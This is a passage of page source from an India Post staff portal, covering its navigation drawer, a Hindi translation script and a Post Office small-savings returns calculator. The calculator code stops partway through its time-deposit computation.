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            <a href="https://digimit.in/about-us" class="drawer-nav-card">
                <div class="drawer-nav-icon icon-about"><i class="fa-solid fa-circle-info"></i></div>
                <div class="drawer-nav-content">
                    <div class="drawer-nav-heading">About DigiMit Portal</div>
                </div>
                <i class="fa-solid fa-chevron-right drawer-nav-arrow"></i>
            </a>
            <a href="https://digimit.in/contact-us" class="drawer-nav-card">
                <div class="drawer-nav-icon icon-contact"><i class="fa-solid fa-headset"></i></div>
                <div class="drawer-nav-content">
                    <div class="drawer-nav-heading">Contact Support Desk</div>
                </div>
                <i class="fa-solid fa-chevron-right drawer-nav-arrow"></i>
            </a>
            <a href="https://digimit.in/privacy-policy" class="drawer-nav-card">
                <div class="drawer-nav-icon icon-privacy"><i class="fa-solid fa-user-shield"></i></div>
                <div class="drawer-nav-content">
                    <div class="drawer-nav-heading">Privacy Policy (DPDP 2023)</div>
                </div>
                <i class="fa-solid fa-chevron-right drawer-nav-arrow"></i>
            </a>
            <a href="https://digimit.in/terms-of-service" class="drawer-nav-card">
                <div class="drawer-nav-icon icon-terms"><i class="fa-solid fa-gavel"></i></div>
                <div class="drawer-nav-content">
                    <div class="drawer-nav-heading">Terms of Service</div>
                </div>
                <i class="fa-solid fa-chevron-right drawer-nav-arrow"></i>
            </a>
            <a href="https://digimit.in/disclaimer" class="drawer-nav-card">
                <div class="drawer-nav-icon icon-disclaimer"><i class="fa-solid fa-triangle-exclamation"></i></div>
                <div class="drawer-nav-content">
                    <div class="drawer-nav-heading">Departmental Disclaimer</div>
                </div>
                <i class="fa-solid fa-chevron-right drawer-nav-arrow"></i>
            </a>
        </div>
    </div>
    <!-- Drawer Footer Actions -->
    <div class="offcanvas-footer drawer-footer-custom p-3 border-top bg-light">
        <a href="https://digimit.in/wp-login.php" class="btn btn-sm btn-danger w-100 fw-bold rounded-pill shadow-sm py-2 d-flex align-items-center justify-content-center gap-2">
            <i class="fa-solid fa-lock"></i> Staff Admin Portal
        </a>
        <div class="text-center mt-2">
            <small class="text-muted font-monospace" style="font-size: 0.68rem;">
                DigiMit v2.4 &bull; Built for India Post Personnel
            </small>
        </div>
    </div>
</div>
<!-- Drawer Quick Search Filter Script -->
<script>
function filterDrawerMenu(query) {
    const q = (query || '').toLowerCase().trim();
    const cards = document.querySelectorAll('.drawer-nav-card');
    cards.forEach(c => {
        const text = c.innerText.toLowerCase();
        c.style.display = (!q || text.includes(q)) ? 'flex' : 'none';
    });
}
</script>
<!-- Pure Native Client-Side Language Translation Engine -->
<script>
const PORTAL_DICTIONARY = {
    // Navigation & Common
    "Home": "मुख्य पृष्ठ",
    "Home Desk": "होम डेस्क",
    "Dashboard Home": "डैशबोर्ड होम",
    "Departmental App Store": "विभागीय ऐप स्टोर",
    "App Store": "ऐप स्टोर",
    "Mock Test Arena & Quizzes": "मॉक टेस्ट और क्विज़",
    "LDCE Tests": "एलडीसीई टेस्ट",
    "LDCE Question Bank": "एलडीसीई प्रश्न बैंक",
    "Calculators": "कैलकुलेटर",
    "Forms Center": "प्रपत्र केंद्र",
    "Forms & Formats Repository": "प्रपत्र एवं प्रारूप केंद्र",
    "Circulars": "परिपत्र",
    "Circulars & Orders Bulletin": "परिपत्र एवं आदेश बुलेटिन",
    "Interest Rate Calculator Engine": "ब्याज दर कैलकुलेटर इंजन",
    "Search": "खोजें",
    "Quick Links": "त्वरित लिंक",
    "Operational Desks": "कार्यकारी डेस्क",
    "Departmental Links": "विभागीय लिंक",
    "Official Resources": "आधिकारिक संसाधन",
    "Technical Support": "तकनीकी सहायता",
    "Aadhaar Service Desk": "आधार सेवा डेस्क",
    "Finacle CBS Desk": "फिनाकल सीबीएस डेस्क",
    "APT 2.0 Operations": "एपीटी 2.0 ऑपरेशन्स",
    
    // Quiz & Mock Test Terms
    "Departmental Exam Mock Tests": "विभागीय पदोन्नति परीक्षा मॉक टेस्ट",
    "Interactive Mock Test & CBT Simulator": "मॉक टेस्ट एवं सीबीटी सिम्युलेटर",
    "Practice with real exam questions, countdown timers, instant scoring, and clear rule explanations.": "परीक्षा प्रश्नों, टाइमर, तत्काल स्कोर और स्पष्ट नियमों के साथ अभ्यास करें।",
    "3 Main Exam Cadres": "3 मुख्य परीक्षा संवर्ग",
    "Custom Test Maker": "कस्टम टेस्ट निर्माता",
    "DIY / Paste Questions": "स्वयं प्रश्न जोड़ें",
    "Start Timed Test": "समयबद्ध परीक्षा शुरू करें",
    "Practice Mode": "अभ्यास मोड",
    "Practice Questions": "प्रश्नों का अभ्यास करें",
    "Start MTS Mock": "एमटीएस मॉक शुरू करें",
    "Start PM/MG Mock": "पोस्टमैन/मेलगार्ड मॉक शुरू करें",
    "Start PA/SA Mock": "पीए/एसए मॉक शुरू करें",
    "1. GDS to MTS Exam": "1. जीडीएस से एमटीएस परीक्षा",
    "2. GDS to PM / Mail Guard": "2. जीडीएस से पोस्टमैन / मेल गार्ड",
    "2. GDS to PM/MG (Postman & Mail Guard)": "2. जीडीएस से पोस्टमैन / मेल गार्ड",
    "3. MTS & Postman to PA/SA": "3. एमटीएस एवं पोस्टमैन से पीए/एसए",
    "All 3 Cadres Combined": "तीनों संवर्ग संयुक्त",
    "All 3 Exam Cadres Combined": "तीनों संवर्ग संयुक्त",
    "Select Exam Cadre:": "परीक्षा संवर्ग चुनें:",
    "Number of Questions:": "प्रश्नों की संख्या:",
    "Timer Limit:": "समय सीमा:",
    "Test Mode:": "परीक्षा मोड:",
    "Negative Marking:": "नकारात्मक अंक:",
    "Question Order:": "प्रश्नों का क्रम:",
    "Shuffle Questions Randomly": "प्रश्नों को यादृच्छिक रूप से मिलाएं",
    "Reset": "रीसेट",
    "Start Test Now": "अब टेस्ट शुरू करें",
    "Start Practice Test": "अभ्यास परीक्षा शुरू करें",
    "Launch Custom CBT": "कस्टम टेस्ट शुरू करें",
    "Open Full CBT Arena": "संपूर्ण परीक्षा क्षेत्र खोलें",
    "Time Remaining": "शेष समय",
    "Previous": "पिछला",
    "Clear": "उत्तर हटाएं",
    "Mark for Review": "समीक्षा के लिए चिह्नित करें",
    "Save & Next": "सेव और अगला",
    "Submit Test": "परीक्षा सबमिट करें",
    "Submit Now": "अभी सबमिट करें",
    "Continue Test": "परीक्षा जारी रखें",
    "Question Palette": "प्रश्न तालिका",
    "Answered": "उत्तर दिया",
    "Not Answered": "उत्तर नहीं दिया",
    "For Review": "समीक्षा हेतु",
    "Not Visited": "नहीं देखा",
    "Test Score & Result": "परीक्षा परिणाम और अंक",
    "Your Score": "आपका स्कोर",
    "Accuracy": "सटीकता",
    "Time Taken": "लिया गया समय",
    "Result": "परिणाम",
    "Correct": "सही",
    "Incorrect": "गलत",
    "Skipped": "छोड़े गए",
    "Retake Test": "पुनः परीक्षा दें",
    "Practice Mistakes": "गलत प्रश्नों का अभ्यास",
    "Print Scorecard": "स्कोरकार्ड प्रिंट करें",
    "Choose Another Test": "अन्य टेस्ट चुनें",
    "Question Solutions & Answer Key": "प्रश्न समाधान और उत्तर कुंजी",
    "Rule Explanation:": "नियम स्पष्टीकरण:",
    "Explanation:": "स्पष्टीकरण:"
};
let currentPortalLang = 'en';
function switchPortalLanguage(lang) {
    currentPortalLang = lang;
    localStorage.setItem('digimit_portal_lang', lang);
    updateLangUIButtons(lang);
    applyLanguageTranslation(lang);
}
function updateLangUIButtons(lang) {
    const isHi = (lang === 'hi');
    // Desktop top bar buttons
    const btnEn = document.getElementById('btnLangEn');
    const btnHi = document.getElementById('btnLangHi');
    if (btnEn && btnHi) {
        btnEn.classList.toggle('active', !isHi);
        btnEn.classList.toggle('btn-danger', !isHi);
        btnEn.classList.toggle('text-white', !isHi);
        btnHi.classList.toggle('active', isHi);
        btnHi.classList.toggle('btn-danger', isHi);
        btnHi.classList.toggle('text-white', isHi);
    }
    // Mobile navbar buttons
    const mBtnEn = document.getElementById('btnMobileLangEn');
    const mBtnHi = document.getElementById('btnMobileLangHi');
    if (mBtnEn && mBtnHi) {
        mBtnEn.classList.toggle('active', !isHi);
        mBtnEn.classList.toggle('btn-danger', !isHi);
        mBtnEn.classList.toggle('text-white', !isHi);
        mBtnHi.classList.toggle('active', isHi);
        mBtnHi.classList.toggle('btn-danger', isHi);
        mBtnHi.classList.toggle('text-white', isHi);
    }
    // Drawer buttons
    const dBtnEn = document.getElementById('drawerLangEn');
    const dBtnHi = document.getElementById('drawerLangHi');
    const dTag = document.getElementById('currentLangTag');
    if (dBtnEn && dBtnHi) {
        dBtnEn.classList.toggle('active', !isHi);
        dBtnEn.classList.toggle('btn-danger', !isHi);
        dBtnEn.classList.toggle('text-white', !isHi);
        dBtnHi.classList.toggle('active', isHi);
        dBtnHi.classList.toggle('btn-danger', isHi);
        dBtnHi.classList.toggle('text-white', isHi);
        if (dTag) dTag.innerText = isHi ? 'हिन्दी (Hindi)' : 'English';
    }
}
function applyLanguageTranslation(lang) {
    const isHi = (lang === 'hi');
    const walker = document.createTreeWalker(document.body, NodeFilter.SHOW_TEXT, null, false);
    let node;
    while (node = walker.nextNode()) {
        const parent = node.parentElement;
        if (!parent) continue;
        const tag = parent.tagName.toLowerCase();
        if (['script', 'style', 'noscript', 'textarea', 'code'].includes(tag)) continue;
        const text = node.nodeValue.trim();
        if (!text) continue;
        if (isHi) {
            if (!node._originalEnglishText) {
                node._originalEnglishText = node.nodeValue;
            }
            if (PORTAL_DICTIONARY[text]) {
                node.nodeValue = node.nodeValue.replace(text, PORTAL_DICTIONARY[text]);
            }
        } else {
            if (node._originalEnglishText) {
                node.nodeValue = node._originalEnglishText;
            }
        }
    }
}
document.addEventListener('DOMContentLoaded', () => {
    const saved = localStorage.getItem('digimit_portal_lang') || 'en';
    if (saved === 'hi') {
        switchPortalLanguage('hi');
    } else {
        updateLangUIButtons('en');
    }
});
</script>
<style>
/* === POSB CALCULATOR PREMIUM STYLES === */
.calc-hero-banner {
    background: linear-gradient(135deg, #0f172a 0%, #1e293b 50%, #0f172a 100%);
    border-bottom: 3px solid #dc2626;
    padding: 42px 0;
    color: #ffffff;
    position: relative;
    overflow: hidden;
}
.calc-hero-banner::before {
    content: '';
    position: absolute;
    top: -50%;
    right: -10%;
    width: 600px;
    height: 600px;
    background: radial-gradient(circle, rgba(220,38,38,0.15) 0%, rgba(0,0,0,0) 70%);
    pointer-events: none;
}
.calc-hero-pill {
    background: rgba(220, 38, 38, 0.15);
    color: #fca5a5;
    border: 1px solid rgba(220, 38, 38, 0.3);
    padding: 5px 14px;
    border-radius: 25px;
    font-size: 0.76rem;
    font-weight: 700;
}
.calc-input-card {
    background: #ffffff;
    border: 1px solid #e2e8f0;
    border-radius: 20px;
    padding: 24px;
    box-shadow: 0 10px 30px rgba(15, 23, 42, 0.05);
}
.currency-input-wrap {
    position: relative;
    display: flex;
    align-items: center;
}
.currency-input-symbol {
    position: absolute;
    left: 16px;
    font-size: 1.25rem;
    font-weight: 800;
    color: #64748b;
    pointer-events: none;
}
.currency-input-field {
    padding-left: 38px !important;
    font-size: 1.3rem !important;
    font-weight: 800 !important;
    color: #0f172a !important;
    height: 52px !important;
    border-radius: 12px !important;
    border: 2px solid #cbd5e1 !important;
    font-family: 'Outfit', monospace !important;
}
.currency-input-field:focus {
    border-color: #dc2626 !important;
    box-shadow: 0 0 0 4px rgba(220,38,38,0.12) !important;
}
.preset-chip-btn {
    border: 1.5px solid #cbd5e1 !important;
    background: #ffffff !important;
    color: #0f172a !important;
    border-radius: 25px !important;
    padding: 6px 14px !important;
    font-size: 0.80rem !important;
    font-weight: 700 !important;
    transition: all 0.18s ease !important;
    cursor: pointer !important;
    font-family: monospace !important;
    flex: 1 1 auto !important;
    min-width: 85px !important;
    text-align: center !important;
    white-space: nowrap !important;
}
.preset-chip-btn:hover,
.preset-chip-btn.active {
    background: #dc2626 !important;
    border-color: #dc2626 !important;
    color: #ffffff !important;
    box-shadow: 0 4px 12px rgba(220, 38, 38, 0.25) !important;
}

/* Results Display Cards */
.result-stat-box {
    background: #ffffff;
    border: 1px solid #e2e8f0;
    border-radius: 16px;
    padding: 18px;
    box-shadow: 0 4px 14px rgba(15, 23, 42, 0.04);
}
.result-stat-label {
    font-size: 0.75rem;
    font-weight: 700;
    color: #64748b;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    margin-bottom: 4px;
}
.result-stat-val {
    font-family: 'Outfit', sans-serif;
    font-size: 1.5rem;
    font-weight: 800;
    color: #0f172a;
}
.result-stat-val.text-green { color: #10b981 !important; }
.result-stat-val.text-red { color: #dc2626 !important; }

.yield-progress-bar {
    height: 12px;
    border-radius: 6px;
    overflow: hidden;
    background: #e2e8f0;
    display: flex;
}
.yield-progress-invested { background: #0284c7; }
.yield-progress-interest { background: #10b981; }
</style>

<!-- 1. HERO BANNER -->
<header class="calc-hero-banner animate-fade-in">
    <div class="container px-3 px-md-4">
        <div class="row align-items-center g-4">
            <div class="col-lg-8">
                <span class="calc-hero-pill mb-2 d-inline-block">
                    <i class="fa-solid fa-calculator text-danger me-1.5"></i> Sovereign Government Returns Calculator
                </span>
                <h1 class="fw-bold text-white mb-2" style="font-family:'Outfit',sans-serif; font-size:2.1rem;">Post Office Small Savings Calculator</h1>
                <p class="text-slate-300 m-0" style="font-size:0.95rem; line-height:1.55; color:#cbd5e1; max-width:720px;">
                    Calculate exact maturity returns, quarterly interest payouts, and Section 80C tax savings for all 10 Post Office Small Savings Schemes (POSB) with official interest rates.
                </p>

                <!-- Quick Switcher to PLI Insurance Calculator -->
                <div class="d-flex gap-2 flex-wrap mt-3.5 align-items-center">
                    <span class="badge bg-success bg-opacity-20 text-success border border-success border-opacity-30 rounded-pill px-3 py-1.5 font-monospace fw-bold" style="font-size:0.75rem;">
                        <i class="fa-solid fa-circle-check me-1"></i> Rates Effective: Q4 FY 2024-25                    </span>
                    <a href="https://digimit.in/insurance-calculator" class="btn btn-sm btn-light text-dark fw-bold border border-secondary border-opacity-25 rounded-pill px-3 py-1.5 shadow-2xs" style="font-size:0.78rem;">
                        <i class="fa-solid fa-shield-heart me-1 text-danger"></i> Switch to PLI Insurance Calculator &rarr;
                    </a>
                </div>
            </div>

            <div class="col-lg-4 d-none d-lg-flex justify-content-center">
                <div class="p-3.5 rounded-4 text-center text-white" style="background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); backdrop-filter: blur(10px); width: 100%; max-width: 320px;">
                    <i class="fa-solid fa-vault fs-1 text-danger mb-2"></i>
                    <h6 class="fw-bold m-0" style="font-family:'Outfit',sans-serif;">100% Principal Security</h6>
                    <p class="small text-muted mb-2 mt-1" style="font-size:0.76rem;">Sovereign Backed by Ministry of Finance</p>
                    <span class="badge bg-danger text-white rounded-pill px-3 py-1 font-monospace" style="font-size:0.70rem;">Q4 2024-25 Yields</span>
                </div>
            </div>
        </div>
    </div>
</header>

<main class="container px-2 px-md-3 my-4">

    <!-- Breadcrumb -->
    <nav aria-label="Breadcrumb" class="mb-3">
        <ul class="breadcrumb-glass">
            <li><a href="https://digimit.in/"><i class="fa-solid fa-house" style="font-size:0.7rem;"></i> Home</a></li>
            <li><span class="separator"><i class="fa-solid fa-chevron-right"></i></span></li>
            <li><a href="https://digimit.in/schemes">Schemes</a></li>
            <li><span class="separator"><i class="fa-solid fa-chevron-right"></i></span></li>
            <li class="active">POSB Savings Calculator</li>
        </ul>
    </nav>

    <!-- CALCULATOR INPUT CONTAINER -->
    <div class="calc-input-card mb-4 animate-fade-in">
        
        <!-- STEP 1: SCHEME SELECTOR DROPDOWN -->
        <div class="mb-4">
            <label for="posbSchemeSelect" class="form-label fw-bold text-dark small mb-2">
                <i class="fa-solid fa-layer-group text-danger me-1"></i> Step 1: Select Post Office Small Savings Scheme:
            </label>
            <div class="input-group input-group-lg shadow-2xs rounded-3 overflow-hidden">
                <span class="input-group-text bg-danger text-white border-0 px-3.5">
                    <i class="fa-solid fa-piggy-bank fs-5" id="posbSelectIcon"></i>
                </span>
                <select id="posbSchemeSelect" class="form-select form-select-lg fw-bold border-2 border-start-0 text-dark" onchange="onPosbSelectChange(this.value)" style="font-size:1.05rem; color:#0f172a !important;">
                    <option value="sb" selected>1. Savings Account (SB) — 4.0% p.a. (Liquid Savings)</option>
                    <option value="rd">2. 5-Year Recurring Deposit (RD) — 6.7% p.a. (Monthly RD)</option>
                    <option value="td">3. Time Deposit (TD / Fixed Deposit) — 6.9% to 7.5% p.a. (1, 2, 3, 5-Yr Terms)</option>
                    <option value="mis">4. Monthly Income Scheme (MIS) — 7.4% p.a. (Monthly Cash Flow)</option>
                    <option value="scss">5. Senior Citizen Savings Scheme (SCSS) — 8.2% p.a. (Age 60+)</option>
                    <option value="ppf">6. Public Provident Fund (PPF) — 7.1% p.a. (100% Tax Free EEE)</option>
                    <option value="ssy">7. Sukanya Samriddhi Account (SSY) — 8.2% p.a. (Highest Govt Rate)</option>
                    <option value="nsc">8. National Savings Certificate (NSC VIII) — 7.7% p.a. (5-Yr Term)</option>
                    <option value="kvp">9. Kisan Vikas Patra (KVP) — 7.5% p.a. (Doubles in 115 Mo)</option>
                    <option value="mssc">10. Mahila Samman Savings Certificate — 7.5% p.a. (2-Yr Women)</option>
                </select>
            </div>
        </div>

        <!-- STEP 2: AMOUNT INPUT & PRESETS -->
        <div class="row g-3">
            <div class="col-12 col-md-8">
                <label for="posbInputAmount" class="form-label fw-bold text-dark small mb-1.5" id="posbInputLabel">
                    <i class="fa-solid fa-wallet text-danger me-1"></i> Step 2: Enter Deposit Amount (₹):
                </label>
                
                <div class="currency-input-wrap mb-2.5">
                    <span class="currency-input-symbol">₹</span>
                    <input type="number" id="posbInputAmount" class="form-control currency-input-field" value="100000" oninput="onPosbNumberInput(this)" onblur="onPosbNumberBlur(this)">
                </div>

                <div class="d-flex justify-content-between align-items-center mb-2 px-1">
                    <small class="text-muted font-monospace" style="font-size:0.75rem;" id="posbLimitNotice">
                        <i class="fa-solid fa-circle-info text-primary me-1"></i> Min: ₹500 | Max: No Limit
                    </small>
                    <small class="text-danger fw-bold d-none font-monospace" style="font-size:0.75rem;" id="posbLimitWarning">
                        <i class="fa-solid fa-triangle-exclamation me-1"></i> Limit exceeded
                    </small>
                </div>
                
                <!-- Quick Preset Chips -->
                <div class="d-flex gap-2 flex-wrap" id="posbPresetChips">
                    <!-- Dynamic Preset Chips inserted by JavaScript -->
                </div>
            </div>

            <!-- STEP 3: TD TENURE / METRIC NOTICE SIDEBOX -->
            <div class="col-12 col-md-4 d-flex flex-column justify-content-between">
                <div id="boxTdTenure" class="d-none">
                    <label for="selectTdTenure" class="form-label fw-bold text-dark small mb-1">
                        <i class="fa-solid fa-clock text-danger me-1"></i> Select Time Deposit Term:
                    </label>
                    <select id="selectTdTenure" class="form-select form-select-lg fw-bold border-2 text-dark" onchange="calculatePosb()">
                        <option value="1">1 Year TD (6.9% p.a.)</option>
                        <option value="2">2 Year TD (7.0% p.a.)</option>
                        <option value="3">3 Year TD (7.1% p.a.)</option>
                        <option value="5" selected>5 Year TD (7.5% p.a. — 80C)</option>
                    </select>
                </div>
                <div class="p-3 rounded-3 bg-light border text-muted small mt-auto">
                    <i class="fa-solid fa-shield-halved text-success me-1"></i> <strong>Sovereign Security:</strong> Returns and principal backed by Government of India.
                </div>
            </div>
        </div>

    </div>

    <!-- RESULTS SECTION -->
    <div class="calc-input-card mb-4 animate-fade-in-up">
        
        <div class="d-flex justify-content-between align-items-center flex-wrap gap-2 mb-3.5 border-bottom pb-3">
            <div>
                <span class="badge bg-danger bg-opacity-10 text-danger border border-danger border-opacity-25 rounded-pill px-2.5 py-0.5 small fw-bold font-monospace mb-1">
                    <i class="fa-solid fa-chart-pie me-1"></i> Calculation Results
                </span>
                <h2 class="h5 fw-bold text-dark mb-0" id="posbTableTitle">Post Office Savings Account (SB) Yield Summary</h2>
            </div>
            <div class="d-flex gap-2">
                <button type="button" class="btn btn-sm btn-outline-secondary rounded-pill fw-bold" onclick="window.print()">
                    <i class="fa-solid fa-print me-1"></i> Print / Save
                </button>
                <a href="https://digimit.in/schemes/sb" id="linkSchemeDetail" class="btn btn-sm btn-danger rounded-pill fw-bold">
                    <i class="fa-solid fa-book-open me-1"></i> Scheme Details &rarr;
                </a>
            </div>
        </div>

        <!-- 4 Key Metric Result Cards -->
        <div class="row g-3 mb-4">
            <div class="col-12 col-sm-6 col-lg-3">
                <div class="result-stat-box">
                    <span class="result-stat-label"><i class="fa-solid fa-wallet text-primary me-1"></i> Total Invested</span>
                    <div class="result-stat-val text-dark" id="resTotalInvested">₹1,00,000</div>
                    <small class="text-muted font-monospace" style="font-size:0.72rem;" id="resFreqText">One-time Principal</small>
                </div>
            </div>

            <div class="col-12 col-sm-6 col-lg-3">
                <div class="result-stat-box">
                    <span class="result-stat-label"><i class="fa-solid fa-arrow-trend-up text-success me-1"></i> Interest Gain</span>
                    <div class="result-stat-val text-green" id="resInterestGain">+₹4,000</div>
                    <small class="text-success font-monospace" style="font-size:0.72rem;" id="resInterestRateLbl">4.0% p.a.</small>
                </div>
            </div>

            <div class="col-12 col-sm-6 col-lg-3">
                <div class="result-stat-box" style="border-color:#fca5a5;">
                    <span class="result-stat-label"><i class="fa-solid fa-vault text-danger me-1"></i> Net Maturity Corpus</span>
                    <div class="result-stat-val text-red" id="resMaturityVal">₹1,04,000</div>
                    <small class="text-danger font-monospace fw-bold" style="font-size:0.72rem;" id="resTenureLbl">1 Year Tenure</small>
                </div>
            </div>

            <div class="col-12 col-sm-6 col-lg-3">
                <div class="result-stat-box">
                    <span class="result-stat-label"><i class="fa-solid fa-scale-balanced text-warning me-1"></i> Tax Status</span>
                    <div class="fw-bold text-dark mt-1" style="font-size:0.92rem;" id="resTaxStatus">Sec 80TTA Exemption</div>
                    <small class="text-muted font-monospace" style="font-size:0.72rem;">No TDS Deducted</small>
                </div>
            </div>
        </div>

        <!-- Visual Bar Split: Principal vs Interest -->
        <div class="mb-4 p-3 rounded-3 bg-light border">
            <div class="d-flex justify-content-between align-items-center mb-1.5 small fw-bold font-monospace">
                <span class="text-dark"><i class="fa-solid fa-square text-primary me-1"></i> Principal Invested: <span id="barInvestedPct">96%</span></span>
                <span class="text-dark"><i class="fa-solid fa-square text-success me-1"></i> Interest Earned: <span id="barInterestPct">4%</span></span>
            </div>
            <div class="yield-progress-bar">
                <div class="yield-progress-invested" id="barInvestedFill" style="width: 96%;"></div>
                <div class="yield-progress-interest" id="barInterestFill" style="width: 4%;"></div>
            </div>
        </div>

        <!-- Year-by-Year Growth Table -->
        <h5 class="fw-bold text-dark mb-2" style="font-size:0.92rem;"><i class="fa-solid fa-table-list text-danger me-2"></i>Year-by-Year Wealth Growth Breakdown</h5>
        <div class="table-responsive rounded-3 border overflow-hidden shadow-2xs">
            <table class="table table-hover align-middle mb-0 small">
                <thead class="table-light">
                    <tr>
                        <th>Year</th>
                        <th class="text-end">Deposit (Yr)</th>
                        <th class="text-end">Total Deposited</th>
                        <th class="text-end">Accrued Interest</th>
                        <th class="text-end pe-3">Closing Balance</th>
                    </tr>
                </thead>
                <tbody id="posbYearlyTableBody">
                    <!-- JavaScript Populated Rows -->
                </tbody>
            </table>
        </div>

    </div>

</main>

<script>
    const posbRates = {
        sb: 4,
        rd: 6.7,
        td1: 6.9,
        td2: 7,
        td3: 7.1,
        td5: 7.5,
        mis: 7.4,
        scss: 8.2,
        ppf: 7.1,
        ssy: 8.2,
        nsc: 7.7,
        kvp: 7.5,
        mssc: 7.5    };

    const posbConfigs = {
        sb:   { name: 'Post Office Savings Account (SB)', rate: posbRates.sb, icon: 'fa-piggy-bank', min: 500, max: 0, defaultVal: 50000, taxStatus: 'Sec 80TTA (Tax-Free up to ₹10,000)', presets: [5000, 10000, 50000, 100000, 500000] },
        rd:   { name: '5-Year Recurring Deposit (RD)', rate: posbRates.rd, icon: 'fa-calendar-days', min: 100, max: 0, defaultVal: 5000, taxStatus: 'Taxable (No TDS)', presets: [500, 1000, 2000, 5000, 10000] },
        td:   { name: 'Time Deposit / Fixed Deposit (TD)', rate: posbRates.td5, icon: 'fa-vault', min: 1000, max: 0, defaultVal: 100000, taxStatus: 'Sec 80C (5-Year Term)', presets: [25000, 50000, 100000, 200000, 500000] },
        mis:  { name: 'Monthly Income Scheme (MIS)', rate: posbRates.mis, icon: 'fa-money-bill-wave', min: 1000, max: 900000, defaultVal: 450000, taxStatus: 'Taxable (No TDS)', presets: [100000, 300000, 450000, 900000, 1500000] },
        scss: { name: 'Senior Citizen Savings Scheme (SCSS)', rate: posbRates.scss, icon: 'fa-person-cane', min: 1000, max: 3000000, defaultVal: 1000000, taxStatus: 'Sec 80C & Sec 80TTB', presets: [100000, 500000, 1000000, 1500000, 3000000] },
        ppf:  { name: 'Public Provident Fund (PPF)', rate: posbRates.ppf, icon: 'fa-shield-halved', min: 500, max: 150000, defaultVal: 150000, taxStatus: '100% Tax Free (EEE Status)', presets: [10000, 25000, 50000, 100000, 150000] },
        ssy:  { name: 'Sukanya Samriddhi Account (SSY)', rate: posbRates.ssy, icon: 'fa-child-dress', min: 250, max: 150000, defaultVal: 150000, taxStatus: '100% Tax Free (EEE Status)', presets: [10000, 25000, 50000, 100000, 150000] },
        nsc:  { name: 'National Savings Certificate (NSC VIII)', rate: posbRates.nsc, icon: 'fa-certificate', min: 1000, max: 0, defaultVal: 100000, taxStatus: 'Sec 80C Eligible', presets: [10000, 50000, 100000, 200000, 500000] },
        kvp:  { name: 'Kisan Vikas Patra (KVP)', rate: posbRates.kvp, icon: 'fa-seedling', min: 1000, max: 0, defaultVal: 100000, taxStatus: 'Taxable (Doubles in 115 Mo)', presets: [10000, 50000, 100000, 200000, 500000] },
        mssc: { name: 'Mahila Samman Savings Certificate (MSSC)', rate: posbRates.mssc, icon: 'fa-venus', min: 1000, max: 200000, defaultVal: 200000, taxStatus: 'Taxable (2-Year Women)', presets: [10000, 50000, 100000, 150000, 200000] }
    };

    let currentPosbScheme = 'sb';

    function onPosbSelectChange(schemeKey) {
        currentPosbScheme = schemeKey;
        const cfg = posbConfigs[schemeKey];

        // Icon
        const iconEl = document.getElementById('posbSelectIcon');
        if (iconEl) iconEl.className = 'fa-solid ' + cfg.icon + ' fs-5';

        // TD Tenure box
        const tdBox = document.getElementById('boxTdTenure');
        if (schemeKey === 'td') tdBox.classList.remove('d-none');
        else tdBox.classList.add('d-none');

        // Input Label & Default
        const inputLabel = document.getElementById('posbInputLabel');
        if (schemeKey === 'rd') inputLabel.innerHTML = '<i class="fa-solid fa-wallet text-danger me-1"></i> Step 2: Enter Monthly RD Installment (₹):';
        else if (schemeKey === 'ppf' || schemeKey === 'ssy') inputLabel.innerHTML = '<i class="fa-solid fa-wallet text-danger me-1"></i> Step 2: Enter Annual Deposit (₹):';
        else inputLabel.innerHTML = '<i class="fa-solid fa-wallet text-danger me-1"></i> Step 2: Enter Deposit Amount (₹):';

        // Limit Notice
        const noticeEl = document.getElementById('posbLimitNotice');
        let maxText = cfg.max > 0 ? ('Max: ₹' + cfg.max.toLocaleString('en-IN')) : 'Max: No Limit';
        noticeEl.innerHTML = `<i class="fa-solid fa-circle-info text-primary me-1"></i> Min: ₹${cfg.min.toLocaleString('en-IN')} | ${maxText}`;

        // Set value
        document.getElementById('posbInputAmount').value = cfg.defaultVal;

        // Render Presets
        const presetContainer = document.getElementById('posbPresetChips');
        presetContainer.innerHTML = '';
        cfg.presets.forEach(val => {
            const btn = document.createElement('button');
            btn.type = 'button';
            btn.className = 'preset-chip-btn';
            btn.innerText = '₹' + val.toLocaleString('en-IN');
            btn.onclick = function() {
                document.getElementById('posbInputAmount').value = val;
                calculatePosb();
            };
            presetContainer.appendChild(btn);
        });

        // Detail Link
        const detailLink = document.getElementById('linkSchemeDetail');
        if (detailLink) detailLink.href = 'https://digimit.in/schemes/' + schemeKey + '/?scheme=' + schemeKey;

        calculatePosb();
    }

    function onPosbNumberInput(el) { calculatePosb(); }
    function onPosbNumberBlur(el) { calculatePosb(); }

    function calculatePosb() {
        const cfg = posbConfigs[currentPosbScheme];
        let p = parseFloat(document.getElementById('posbInputAmount').value) || 0;
        
        // Limit Check
        const warnEl = document.getElementById('posbLimitWarning');
        if ((cfg.max > 0 && p > cfg.max) || p < cfg.min) {
            warnEl.classList.remove('d-none');
        } else {
            warnEl.classList.add('d-none');
        }

        let rateText = cfg.rate + '% p.a.';
        let totalInvested = p;
        let interestGain = 0;
        let maturityVal = p;
        let tenureText = '1 Year';
        let freqText = 'One-time Deposit';

        let yearlyData = [];

        if (currentPosbScheme === 'sb') {
            interestGain = Math.round(p * (cfg.rate / 100));
            maturityVal = p + interestGain;
            tenureText = '1 Year';
            freqText = 'Liquid Savings';
            yearlyData.push({ year: 1, depYear: p, totalDep: p, intEarned: interestGain, closing: maturityVal });
        } else if (currentPosbScheme === 'rd') {
            totalInvested = p * 60;
            freqText = '₹' + p.toLocaleString('en-IN') + ' / Month';
            tenureText = '5 Years (60 Mo)';
            
            let rdBal = 0;
            const r_rd = cfg.rate / 400; // quarterly
            for (let m = 1; m <= 60; m++) {
                rdBal = (rdBal + p) * (1 + r_rd / 3);
                if (m % 12 === 0) {
                    let yr = m / 12;
                    yearlyData.push({ year: yr, depYear: p * 12, totalDep: p * m, intEarned: Math.round(rdBal - (p * m)), closing: Math.round(rdBal) });
                }
            }
            maturityVal = Math.round(rdBal);
            interestGain = maturityVal - totalInvested;
        } else if (currentPosbScheme === 'td') {
            const term = parseInt(document.getElementById('selectTdTenure').value) || 5;
            let tdRate = posbRates['td' + term];
            rateText = tdRate + '% p.a.';
            tenureText = term + ' Years';
            
            let annualInt = Math.round(p * (Math.pow(1 + (tdRate / 400), 4) - 1));
            interestGain = annualInt * term;
            maturityVal = p + interestGain;
